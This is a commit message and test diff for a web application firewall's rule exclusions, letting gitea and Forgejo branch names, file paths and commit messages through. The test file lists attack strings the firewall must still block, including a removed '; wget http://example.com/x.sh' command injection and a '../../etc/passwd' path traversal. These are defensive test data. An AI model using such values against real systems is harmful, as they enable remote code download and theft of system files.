Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- tree_path, commit_summary and content on the web editor's pages:
  edit, new file, delete, upload, patch, cherry-pick and preview;
- fields that name a branch, for Windows commands and command names:
  new_branch_name, old_branch_name, old_ref_name, from, to, head, base,
  branch and new_branch; base also when a pull request is edited
  through the API;
- message of one file or several changed through the API, for system
  files and Windows commands.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5

internal/coreruleset/vaultwarden_test.go

@@ -313,7 +313,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
 var vaultwardenAttacks = []string{
 	injection,
 	scriptTag,
-	"; wget http://example.com/x.sh",
+	shellCommand,
 	"../../etc/passwd",
 }